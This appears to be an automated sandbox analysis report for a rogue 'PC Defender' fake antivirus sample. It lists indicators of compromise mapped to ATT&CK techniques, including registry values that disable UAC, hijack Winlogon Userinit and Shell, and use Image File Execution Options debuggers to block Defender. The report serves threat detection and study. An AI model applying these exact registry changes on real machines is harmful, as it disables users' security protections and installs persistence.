hxxps://github[.]com/Endermanch/MalwareDatabase

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Program Files (x86)\\Def Group\\PC Defender\\Antispyware.exe\""	MsiExec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-wojl.exe"	guard-wojl.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-wojl.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-wojl.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-wojl.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
62	5648	mshta.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-wojl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-wojl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-wojl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-wojl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-wojl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-wojl.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-wojl.exe

Executes dropped EXE 1 IoCs

pid	Process
3624	guard-wojl.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-wojl.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
13	raw.githubusercontent.com
42	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-wojl.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-wojl.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-wojl.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Def Group\PC Defender\hook.dll	msiexec.exe
File created	C:\Program Files (x86)\Def Group\PC Defender\proccheck.exe	msiexec.exe
File created	C:\Program Files (x86)\Def Group\PC Defender\Antispyware.exe	msiexec.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e583a35.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e583a35.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FC2ABC8E-3715-4A32-B8B5-559380F45282}	msiexec.exe
File created	C:\Windows\Installer\{FC2ABC8E-3715-4A32-B8B5-559380F45282}\_3F16219B047CF8432B7ADA.exe	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5AD045C28380A941.TMP	msiexec.exe
File created	C:\Windows\Installer\{FC2ABC8E-3715-4A32-B8B5-559380F45282}\_966CD4ED37489844400D0C.exe	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC2BAB02F6CB320EB.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3AD2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA9048863089544AA.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\{FC2ABC8E-3715-4A32-B8B5-559380F45282}\_966CD4ED37489844400D0C.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{FC2ABC8E-3715-4A32-B8B5-559380F45282}\_3F16219B047CF8432B7ADA.exe	msiexec.exe
File created	C:\Windows\Installer\e583a39.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4BFAB8646DC9429D.TMP	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	guard-wojl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000004fbc8ede2bb95e8f0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800004fbc8ede0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809004fbc8ede000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d4fbc8ede000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004fbc8ede00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\TrustCenter\Experimentation	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\JITDebug = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "64"	LogonUI.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "1"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2"	OfficeClickToRun.exe

Modifies registry class 32 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\ProductName = "PC Defender"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Media	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C73BCE36FA1AA0E45AB2649A3FA0D390	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	[email protected]
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\PackageCode = "18627594958587344B2B3984171915B1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C73BCE36FA1AA0E45AB2649A3FA0D390\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\DeploymentFlags = "3"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\PackageName = "PCDefenderSilentSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\Clients = 3a0000000000	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000_Classes\Local Settings	msedge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\Version = "16777216"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E8CBA2CF517323A48B5B5539084F2528\DefaultFeature	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C73BCE36FA1AA0E45AB2649A3FA0D390	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList\Media\1 = ";"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E8CBA2CF517323A48B5B5539084F2528\Assignment = "1"	msiexec.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\PC Defender.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\PC Defender (1).zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Windows Accelerator Pro.zip:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\guard-wojl.exe\:Zone.Identifier:$DATA	[email protected]

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2120	msedge.exe
2120	msedge.exe
3552	msedge.exe
3552	msedge.exe
2264	msedge.exe
2264	msedge.exe
1324	identity_helper.exe
1324	identity_helper.exe
1284	msedge.exe
1284	msedge.exe
768	msedge.exe
768	msedge.exe
4452	msiexec.exe
4452	msiexec.exe
6136	msedge.exe
6136	msedge.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
3624	guard-wojl.exe
